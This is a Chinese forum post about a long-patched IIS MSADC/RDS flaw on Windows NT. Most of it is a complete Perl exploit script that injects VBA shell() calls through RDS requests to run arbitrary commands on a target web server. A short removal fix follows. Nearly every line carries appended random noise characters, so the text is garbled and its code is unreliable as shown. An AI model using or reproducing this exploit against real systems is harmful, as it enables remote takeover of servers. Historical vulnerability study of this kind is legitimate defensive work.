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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) BTqY _9  
46sV\In>?  
涉及程序: aVEg%8  
Microsoft NT server 3nMXfh/  
w!7Hl9BW  
描述: ZJ1 %  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 !A qSG-  
R]H/Jv\'  
详细: pwr,rAJ}$j  
如果你没有时间读详细内容的话,就删除: z^bv)u  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *Mk5*_  
有关的安全问题就没有了。 It&$R`k  
mGb,oj7l  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 g,*LP  
@uApm~}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 63 F@F t  
关于利用ODBC远程漏洞的描述,请参看: Eu2@%2}P  
;.+sz(:hm  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I'm.+(1m,  
f!AcBfaLr  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 =c:K(N qL  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1$H*E~  
Z$"E|nRN  
这里不再论述。 yP. ,Dh s  
!/2u O5  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: \b6H4aQii  
M|xd9kA^  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 1%g%I8W%  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 4CCtLHb  
7M9Ey29f  
j&~`H:=E  
#将下面这段保存为txt文件,然后: "perl -x 文件名" =f4>vo}@k  
 [,JUC<  
#!perl VXX7Y? !  
# bLuAe EA  
# MSADC/RDS 'usage' (aka exploit) script 1ayL*tr  
# >UlAae44  
# by rain.forest.puppy $}+t|`*q8]  
# RDGefxv  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me p,0J $L  
# beta test and find errors! Z7)la |  
xvU@,bzz  
use Socket; use Getopt::Std; A0JlQE&U  
getopts("e:vd:h:XR", \%args); Q*&k6A"jx  
3 vr T`  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";  $I}7EI  
eb10=Lmj  
if (!defined $args{h} && !defined $args{R}) { e*K1";  
print qq~ "h58I)O  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 2Tt^^Lb  
-h <host> = host you want to scan (ip or domain) 2z#gn9Wb  
-d <seconds> = delay between calls, default 1 second I8M^]+c  
-X = dump Index Server path table, if available 7 G37V"''  
-v = verbose 20h+^R3{Z  
-e = external dictionary file for step 5 II;   
<l>o6K  
Or a -R will resume a command session ?9W2wqN>o  
L{&5Ets  
~; exit;} mQwP-s  
&-.NkW@  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; HX}9;O  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} \?EnTu.  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} qGivRDR$  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); O S?S$y  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} dK.k,7R  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } AXN%b2  
8p"R4  
if (!defined $args{R}){ $ret = &has_msadc; @?bO@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} {XR 3L'X  
NW?.Ge.!P  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" -0P(lkylf  
. "cmd /c "; zw ,( kv  
$in=<STDIN>; chomp $in; Xlg 0u.  
$command="cmd /c " . $in ; ny++U;qi  
NRIp@PIF:"  
if (defined $args{R}) {&load; exit;} 85gdmla@9  
';,Rq9-'  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ,;%F\<b  
&try_btcustmr; ` b$u w  
h_*!cuH  
print "\nStep 2: Trying to make our own DSN..."; }LYK:?_/  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; _|1m]2'9  
Wy:xiP  
print "\nStep 3: Trying known DSNs..."; Le,e,#hiY  
&known_dsn; 6Z ,GD  
?R#?=<VkG  
print "\nStep 4: Trying known .mdbs..."; NLnfCY-h  
&known_mdb; ^t0Yh%V7  
lE|Hp  
if (defined $args{e}){ >n(Ga9E  
print "\nStep 5: Trying dictionary of DSN names..."; ']Z1nb  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } $*-UY  
xZ84q'i"  
print "Sorry Charley...maybe next time?\n"; R%EpF'[~[  
exit; <36z,[,kZ@  
yUY* l@v]  
############################################################################## qL;u59  
K (px-jY  
sub sendraw { # ripped and modded from whisker LWX,u  
sleep($delay); # it's a DoS on the server! At least on mine... 5oOF|IYi  
my ($pstr)=@_; I l2`c}9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || iCX Ki7  
die("Socket problems\n"); RvXK?mL4F  
if(connect(S,pack "SnA4x8",2,80,$target)){ :n0czO6 E  
select(S); $|=1; nGoQwKIW  
print $pstr; my @in=<S>; K3*8-Be  
select(STDOUT); close(S); M dKkj[#  
return @in; ~[[(_C3  
} else { die("Can't connect...\n"); }} )\3 RR.p  
1^v?Ly8  
############################################################################## <<vT"2Q]  
sQl`0|VH  
sub make_header { # make the HTTP request Yt3 +o<  
my $msadc=<<EOT 1ZZ}ojq  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 f5tkv<) %  
User-Agent: ACTIVEDATA F4X0DRC,G  
Host: $ip _DD.#YB</  
Content-Length: $clen G?$0OU  
Connection: Keep-Alive p3`odmbN  
wbImE;-Z  
ADCClientVersion:01.06 $v \@mW*R  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D}i_#-^MH  
P;' xa^Y  
--!ADM!ROX!YOUR!WORLD! rfH'&k  
Content-Type: application/x-varg }eLnTi{  
Content-Length: $reqlen #)BbW40f6  
5`t MHgQO  
EOT /\-iV)h1@  
; $msadc=~s/\n/\r\n/g; ] -}Zd\Rs  
return $msadc;} :i};]pR   
8`]1Nt!*B  
############################################################################## ~E^lKe  
Gm1[PAj  
sub make_req { # make the RDS request y/9aI/O'  
my ($switch, $p1, $p2)=@_; Z]^Ooy[pb  
my $req=""; my $t1, $t2, $query, $dsn; Ms61FmA4  
ZvVrbj&  
if ($switch==1){ # this is the btcustmr.mdb query {vf4l4J(  
$query="Select * from Customers where City=" . make_shell(); ^1 U<,<  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . OL0W'C9oA  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} *f ;">(`o*  
L `6 R  
elsif ($switch==2){ # this is general make table query  Oye:V  
$query="create table AZZ (B int, C varchar(10))"; TQ`4dVaf  
$dsn="$p1";} ^hyY,X  
k. @OFkX.  
elsif ($switch==3){ # this is general exploit table query {9_}i#,vR  
$query="select * from AZZ where C=" . make_shell(); ,z@"pI b  
$dsn="$p1";} 3U\| E  
z]d2 rzV(_  
elsif ($switch==4){ # attempt to hork file info from index server Nk ~"f5q7  
$query="select path from scope()"; +3wVcL  
$dsn="Provider=MSIDXS;";} /&jh10}H  
j~;kh_  
elsif ($switch==5){ # bad query 40i]I@:JK  
$query="select"; D *Hy 2eZ.  
$dsn="$p1";} vCe]iB  
^|kqy<<X  
$t1= make_unicode($query); W? SFt z  
$t2= make_unicode($dsn); +BaZl<ZP1s  
$req = "\x02\x00\x03\x00"; 1;FtQnvH  
$req.= "\x08\x00" . pack ("S1", length($t1)); ;D>*Pzj  
$req.= "\x00\x00" . $t1 ; !kG2$/lR  
$req.= "\x08\x00" . pack ("S1", length($t2)); d!z}! :  
$req.= "\x00\x00" . $t2 ; kuI%0) iZn  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :`X!no; {  
return $req;} nMT"Rp  
[gE_\=FSKu  
############################################################################## L5{DWm~@  
@4FG & >kQ  
sub make_shell { # this makes the shell() statement Ro:DAxi @L  
return "'|shell(\"$command\")|'";} #=V[vbTY  
xa&5o`>1G  
############################################################################## PN"s ^]4  
-#agWqUM|T  
sub make_unicode { # quick little function to convert to unicode ]ML(=7z"  
my ($in)=@_; my $out; l.3|0lopX)  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } IMT]!j&Y,  
return $out;} q  W"  
JIH6!  
############################################################################## u301xc,N<z  
fFiFS\''V  
sub rdo_success { # checks for RDO return success (this is kludge) ='z4bU  
my (@in) = @_; my $base=content_start(@in); umJ!j&(  
if($in[$base]=~/multipart\/mixed/){ 41oXOB  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ymo].  
return 0;} )Bo]+\2  
P;7 Y9}  
############################################################################## zxhE9 [`*e  
5S/YVRXq  
sub make_dsn { # this makes a DSN for us ~A-Y%P  
my @drives=("c","d","e","f"); yR'%UpaE  
print "\nMaking DSN: "; s-lNpOi  
foreach $drive (@drives) { Xub<U>e;b  
print "$drive: "; *k^'xL  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . T P#Hq  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" +ebmve \+  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); hwj:$mR  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ^0T DaZDLp  
return 0 if $2 eq "404"; # not found/doesn't exist tsf)+`vt  
if($2 eq "200") { d")TH3pG  
foreach $line (@results) { gi#g)9HG  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} !Sj0!\  
} return 0;} k[<Uxh%  
@q/E)M?  
############################################################################## mLb>*xt$b@  
>Y 8\I  
sub verify_exists { ziXZJ^(FI  
my ($page)=@_; Y)*:'&~2e  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6t!PHA  
return $results[0];} hg Pzx@  
4mM?RGWv  
############################################################################## t,,W{M|E(  
dHO8 bYBH  
sub try_btcustmr { .sBwJZ  
my @drives=("c","d","e","f"); W^8MsdM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,SB5"  
=,w(D~ps  
foreach $dir (@dirs) { bZf}m=C!  
print "$dir -> "; # fun status so you can see progress efUa[XO  
foreach $drive (@drives) {  {,Z-GJ  
print "$drive: "; # ditto u !@(u!Qz  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; yq<mE(hS?  
$reqlenlen=length( "$reqlen" ); J)n^b  
$clen= 206 + $reqlenlen + $reqlen; n~Qo@%Jr  
sn-P&"q  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); yO*HJpc   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} #sHt3z)6I  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `E:&a]ul  
/kH 7I  
############################################################################## e?yrx6  
/c|X:F!;X#  
sub odbc_error { RTQtXv6mD  
my (@in)=@_; my $base; 5!jU i9  
my $base = content_start(@in); 3Q:HzqG  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this {"WfA  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hRaX!QcG3  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D\0q lCAs  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hj+iB,8  
return $in[$base+4].$in[$base+5].$in[$base+6];} Mv_-JE9#>o  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; V*j1[d  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . R^k)^!/$f  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} P,W(9&KM  
]}z"H@k  
############################################################################## ,9YgznQ  
&qMt07  
sub verbose { Tg_#z  
my ($in)=@_; >j6"\1E+Dz  
return if !$verbose; #dhce0m  
print STDOUT "\n$in\n";} y*7{S{9  
pSKw Xx  
############################################################################## ]@wKm1%v  
5v_vv'~  
sub save { 0i4XS*vPv  
my ($p1, $p2, $p3, $p4)=@_; o ~`KOe  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; yBkcYHT  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; d3jzGJrU}  
close OUT;} ?,  m_q+  
5Ei4$T  
############################################################################## \PL0-.t,  
'aqlNBG*  
sub load { w0&|8y  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Y{D?&x%yq  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =x3T+)qCNX  
@p=<IN>; close(IN); %}[/lIxaE  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); # ~(lY}  
$target= inet_aton($ip) || die("inet_aton problems"); $i;m9_16  
print "Resuming to $ip ..."; TW~%1G_v  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; v7b +  
if($p[1]==1) { lEXI<b'2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2e^6Od!Y?  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 0@>  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); :zp9L/eh  
if (rdo_success(@results)){print "Success!\n";} JJ4w]Dd4  
else { print "failed\n"; verbose(odbc_error(@results));}} .Ge`)_e  
elsif ($p[1]==3){ +. tcEbFL  
if(run_query("$p[3]")){ oZ\zi> Y,  
print "Success!\n";} else { print "failed\n"; }} ]Wg&r Y0  
elsif ($p[1]==4){ z*e`2n#\  
if(run_query($drvst . "$p[3]")){ g+%Pg@[  
print "Success!\n"; } else { print "failed\n"; }} ,Fzuo:{uy  
exit;} vn1*D-?  
.kc{)d*0K  
############################################################################## 5b$QXO  
z`:tl7  
sub create_table { OfPv'rW{x  
my ($in)=@_; ;U[W $w[  
$reqlen=length( make_req(2,$in,"") ) - 28; 7-("pp YX=  
$reqlenlen=length( "$reqlen" ); @d_9NOmNT  
$clen= 206 + $reqlenlen + $reqlen; RgSB?  
my @results=sendraw(make_header() . make_req(2,$in,"")); <Gj]XAoe%  
return 1 if rdo_success(@results); avy@)iO7  
my $temp= odbc_error(@results); verbose($temp); on.m '-s  
return 1 if $temp=~/Table 'AZZ' already exists/; KMP[Ledr  
return 0;} lXip%6c7  
hka`STK{  
############################################################################## 0w!:YB,}  
*0/%R{+S  
sub known_dsn { YJB/*SV^  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go siz:YRur  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", (sp{.bU  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ;7U"wI_~c  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ![ @i+hl  
Y/]J0D  
foreach $dSn (@dsns) { xp%LXx j  
print "."; [B@R(z=H  
next if (!is_access("DSN=$dSn")); L*zfZ&  
if(create_table("DSN=$dSn")){ g:2\S=  
print "$dSn successful\n"; Cig! 3  
if(run_query("DSN=$dSn")){ S9{&.[O  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6F; |x  
print "Something's borked. Use verbose next time\n";}}} print "\n";} KvmXRf*z  
HE@P<  
############################################################################## U"OA m}  
A \-r%&.  
sub is_access { 9)J)r \  
my ($in)=@_; (".WJXB\  
$reqlen=length( make_req(5,$in,"") ) - 28; 8V@\$4@b!#  
$reqlenlen=length( "$reqlen" ); L8?;A9pc()  
$clen= 206 + $reqlenlen + $reqlen; plgiQr #  
my @results=sendraw(make_header() . make_req(5,$in,"")); pGP$2  
my $temp= odbc_error(@results); u& <NBxY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); C j:  
return 0;} I>:.fHvUC  
,~>u<Wc!S  
############################################################################## d(F4-kBd  
tUhr gc  
sub run_query { G5 *_  
my ($in)=@_; S4D~`"4 $/  
$reqlen=length( make_req(3,$in,"") ) - 28; 8X)1bNGqhe  
$reqlenlen=length( "$reqlen" ); ,lQfsntk'  
$clen= 206 + $reqlenlen + $reqlen; 1?{w~cF}  
my @results=sendraw(make_header() . make_req(3,$in,"")); !yu-MpeG  
return 1 if rdo_success(@results); zTg&W7oz  
my $temp= odbc_error(@results); verbose($temp); %B(E;t63W  
return 0;} Ns6C xE9  
\9k{h08s  
############################################################################## t'*2)U  
/_i]bM7W  
sub known_mdb { $!K,5^+  
my @drives=("c","d","e","f","g"); -~_;9[uV  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $: qrh66  
my $dir, $drive, $mdb; X!K:V~WG  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #Ti5G"C  
!Q{~f;L  
# this is sparse, because I don't know of many Nrzg>WQa  
my @sysmdbs=( "\\catroot\\icatalog.mdb", e!P]$em|1E  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", \4n9m  
"\\system32\\certmdb.mdb", /JmWiBQIn  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 0RP{_1k  
`g'z6~c7n  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 5Eu`1f?  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  EHda  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", seA=7c5E  
"\\cfusion\\cfapps\\security\\realm_.mdb", /OeOL3Y  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", tx]!|x" F  
"\\cfusion\\database\\cfexamples.mdb", YQaL)t$0  
"\\cfusion\\database\\cfsnippets.mdb", %kL]-Z  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", _F3= H]P  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", D`NQEt"(  
"\\cfusion\\brighttiger\\database\\cleam.mdb", >/7[HhBT  
"\\cfusion\\database\\smpolicy.mdb", #.|MV}6rQ  
"\\cfusion\\database\cypress.mdb", 7-c3^5gn{  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", A2"$B\j1  
"\\website\\cgi-win\\dbsample.mdb", yTh60U  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", K!;>/3Y2-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Kbcr-89Gv~  
); #these are just O>>%lr|  
foreach $drive (@drives) { 2x:aMWh  
foreach $dir (@dirs){ %J :2y  
foreach $mdb (@sysmdbs) { 4H hQzVM{  
print "."; I=|}%WO#  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ;xjw'%n,  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =EUi| T4:  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 1VB{dgr  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; aKw7m= {  
} else { print "Something's borked. Use verbose next time\n"; }}}}} _}Ec[c  
qQe23,x@5  
foreach $drive (@drives) { @^^,VgW[  
foreach $mdb (@mdbs) { E\XD~  
print "."; |1UJKJwX  
if(create_table($drv . $drive . $dir . $mdb)){ 92g&,Wb  
print "\n" . $drive . $dir . $mdb . " successful\n"; kXW$[R  
if(run_query($drv . $drive . $dir . $mdb)){ W)2ZeH*  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; T4x[ \v5d  
} else { print "Something's borked. Use verbose next time\n"; }}}} jT:kk  
} ]`\~(*;[W9  
WxS$yUu  
############################################################################## 9P#<T7  
$GX9-^og=T  
sub hork_idx { B2)SNhF2Y  
print "\nAttempting to dump Index Server tables...\n"; ?#VkzT  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Fr]B]Hj  
$reqlen=length( make_req(4,"","") ) - 28; b_-?ZmV^r  
$reqlenlen=length( "$reqlen" ); p"o_0 {8  
$clen= 206 + $reqlenlen + $reqlen; #i| AE`  
my @results=sendraw2(make_header() . make_req(4,"","")); 5db9C}0  
if (rdo_success(@results)){ S3&lkN5  
my $max=@results; my $c; my %d; Tw!_=zy(Gw  
for($c=19; $c<$max; $c++){ *!L it:H  
$results[$c]=~s/\x00//g; Schvwlm~i  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7=pJ)4;ZA  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; kT4Oal+4  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; a'YK1QX  
$d{"$1$2"}="";} |v= */e  
foreach $c (keys %d){ print "$c\n"; }  bj U]]  
} else {print "Index server doesn't seem to be installed.\n"; }} P: )YKro]  
0 A6% !h  
############################################################################## 7A4_b8  
K5:>  
sub dsn_dict { z#t;n  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); fz`\-"f]  
while(<IN>){ LABLT;c  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; (-esUOB.  
next if (!is_access("DSN=$dSn")); ]B9Ut&mF;  
if(create_table("DSN=$dSn")){ #mH4\s  
print "$dSn successful\n"; Oh/2$72  
if(run_query("DSN=$dSn")){ '{:lP"\,L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xQ@gh ( (  
print "Something's borked. Use verbose next time\n";}}} d(;Qe}ok>  
print "\n"; close(IN);} DT>Giic  
aDVBi: _  
############################################################################## TZ]o6Bb  
\,yX3R3}.~  
sub sendraw2 { # ripped and modded from whisker kac]Rh8vO  
sleep($delay); # it's a DoS on the server! At least on mine... 4 X6_p(  
my ($pstr)=@_; =Vi>?fWpn=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || AJR`ohh  
die("Socket problems\n"); cj9<!"6  
if(connect(S,pack "SnA4x8",2,80,$target)){ FdM xw*}  
print "Connected. Getting data"; )L%[(iI,x  
open(OUT,">raw.out"); my @in; ^HI}bS1+|  
select(S); $|=1; print $pstr; wsyAq'%L  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} b%D}mxbS  
close(OUT); select(STDOUT); close(S); return @in; +G lb  
} else { die("Can't connect...\n"); }} Nm,9xq  
88M$mjx  
############################################################################## 6@cT;=W;xj  
Zh 3hCxXa  
sub content_start { # this will take in the server headers }pL#C  
my (@in)=@_; my $c; a^.5cJ$]  
for ($c=1;$c<500;$c++) { f)%8*B  
if($in[$c] =~/^\x0d\x0a/){ _Sn7z?  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } br_D Orq|  
else { return $c+1; }}} 7&{[Y^R]"  
return -1;} # it should never get here actually D+69U[P_A  
8^av&u$  
############################################################################## 5_= HtM[v]  
6 xAR:  
sub funky { V~_aM@q1  
my (@in)=@_; my $error=odbc_error(@in); Tq`rc"&7u  
if($error=~/ADO could not find the specified provider/){ !%Qm{R  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; iK <vr  
exit;} :/941?%M  
if($error=~/A Handler is required/){ E6mwvrm8  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1 8kzR6(W  
exit;} R[_UbN 28  
if($error=~/specified Handler has denied Access/){ G$!JJ. )d  
print "\nServer has custom handler filters (they most likely are patched)\n"; zd^QG  
exit;}} .m_-L Y-  
|)IS[:X  
############################################################################## [SX>b"L  
Hv.n O-c  
sub has_msadc { KL6FmL)HH  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9|9Hk1  
my $base=content_start(@results); p:CpY'KV_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); D+xHTQNTL  
return 0;} `dK%I  U  
t +@UC+aW  
######################## 6;vfl*  
9_<>#)u5  
FT+[[9i  
解决方案: k^v P|*eu  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ?^z.WQ|f@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *='J>z.]  
1T@#gE["Ic  
拿出来充数 哈哈
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